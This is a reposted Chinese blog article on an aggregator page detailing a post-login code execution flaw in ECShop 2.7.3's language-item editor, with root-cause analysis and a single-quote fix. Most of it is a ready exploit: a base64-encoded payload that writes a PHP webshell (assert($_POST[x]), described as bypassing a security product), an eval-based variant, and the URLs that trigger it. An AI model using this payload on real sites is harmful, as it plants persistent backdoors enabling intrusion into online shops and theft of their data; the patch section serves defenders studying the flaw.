zoukankan      html  css  js  c++  java
  • 【转】ecshop后台语言项执行漏洞详解

    该漏洞需要能登录ecshop后台权限,简单修改下语言项目,即可在网站植入木马后门。 以下是详细分析 1.登陆到ecshop台后,选择模板管理,语言项编辑,搜索用户信息 为什么要搜索用户

    该漏洞需要能登录ecshop后台权限,简单修改下语言项目,即可在网站植入木马后门。 以下是详细分析

    1.登陆到ecshop台后,选择模板管理,语言项编辑,搜索“用户信息”

    4

    为什么要搜索“用户信息”,还可以搜索其它的吗?

    答案是搜索languages\zh_cn\user.php文件里任何一个变量都可以

    ecshop后台语言项执行漏洞详解

    2.添加如下后门,将用户信息改为

    用户信息${${fputs(fopen(base64_decode(Sm95Q2hvdS5waHA),w),base64_decode(PD9waHAKYXNzZXJ0KAokX1BPU1RbeF0KKTsKPz4))}}

    即生成一个JoyChou.php文件,内容为(可以过安全狗的一句话哦):

    <?php
    assert(
    $_POST[x]
    );
    ?>
    

    ecshop后台语言项执行漏洞详解

    3.访问user.php即可产生shell(不用注册登录账户)

    http://localhost/ECShop_V2.7.3_UTF8_release0411/user.php

    http://localhost/ECShop_V2.7.3_UTF8_release0411/languages/zh_cn/user.php
    3
    漏洞产生原因 在admin\edit_languages.php文件中第120行,修改变量内容,注意是用的双引号。 for ($i = 0; $i count($_POST[item_id]); $i++) { /* 语言项内容如果为空,不修

     漏洞产生原因

    在admin\edit_languages.php文件中第120行,修改变量内容,注意是用的双引号。

      for ($i = 0; $i < count($_POST['item_id']); $i++)
        {
            /* 语言项内容如果为空,不修改 */
            if (trim($_POST['item_content'][$i]) == '')
            {
                unset($src_items[$i]);
            }
            else
            {
                $_POST['item_content'][$i] = str_replace('\\\\n', '\\n', $_POST['item_content'][$i]);
                /* $_POST['item_content'][$i]是修改后增加的内容,即增加的"用户信息${${fputs(fopen"等内容
                   $dst_items[$i] 是 $_LANG['label_profile'] = "用户信息${${fputs(fopen"; 
                */
                $dst_items[$i] = $_POST['item_id'][$i] .' = '. '"' .$_POST['item_content'][$i]. '";';
            }
        }
    

    修改完后文件\languages\zh_cn\user.php变量为:注意是双引号哦

    $_LANG['label_profile'] = "用户信息${${fputs(fopen(base64_decode(Sm95Q2hvdS5waHA),w),base64_decode(PD9waHAKYXNzZXJ0KAokX1BPU1RbeF0KKTsKPz4))}}";
    

    ecshop后台语言项执行漏洞详解

    由于是双引号,所以只要在任意的php文件中引用这个变量,代码就会成功执行。

    至于为什么可以执行?原理如下:

    下面这三句话都可以执行,与其说代码执行,不如说参数执行。

    <?php 
    $a = "${ phpinfo()}";  // 有一个空格
    $b = "{${phpinfo()}}"; // 多一对{},但是没有空格
    $c = "{${fputs(fopen("JoyChou.php", "w+"), "<?php eval(\$_POST[1]);?>")}}";
    $d = "asdf{${phpinfo()}}"; // {字符前可以随意加字符串
    ?>
    

    而http://localhost/ECShop_V2.7.3_UTF8_release0411/user.php这个文件包含\languages\zh_cn\user.php 这个文件,所以也可以代码执行。

    /* 载入语言文件 */
    require_once(ROOT_PATH . 'languages/' .$_CFG['lang']. '/user.php');
    

    5. 漏洞修复

    了解了漏洞原理后,修复就是一件比较简单的事情,只需将双引号改为单引号

    修改\admin\edit_languages.php

    // 修复前
    $dst_items[$i] = $_POST['item_id'][$i] .' = '. '"' .$_POST['item_content'][$i]. '";';  
    // 修复后,由于想在单引号之间出现单引号,必须使用转义。
    $dst_items[$i] = $_POST['item_id'][$i] .' = '. '\'' .$_POST['item_content'][$i]. '\';';
    

    修复后,测试一下,是否还有漏洞。

    再次修改“用户信息”内容为之前修改的内容。打开\languages\zh_cn\user.php可以看到变量已经变为了单引号

    ecshop后台语言项执行漏洞详解

    再次访问http://www.zuimoban.com/ECShop_V2.7.3_UTF8_release0411/user.php已经不能生成JoyChou.php,代码没能得到执行。

    (责任编辑:最模板)
  • 相关阅读:
    linux和window双系统下修改系统启动项
    linux下定位文件
    gcc/g++命令
    asp.net(C#)清除全部Session与单个Session
    响应式布局简介
    JS MD5
    遍历 DataSet
    标题背景圆角 随意宽度
    position
    vertical-align:middle图片或者按钮垂直居中
  • 原文地址:https://www.cnblogs.com/suan07lai/p/4329707.html
Copyright © 2011-2022 走看看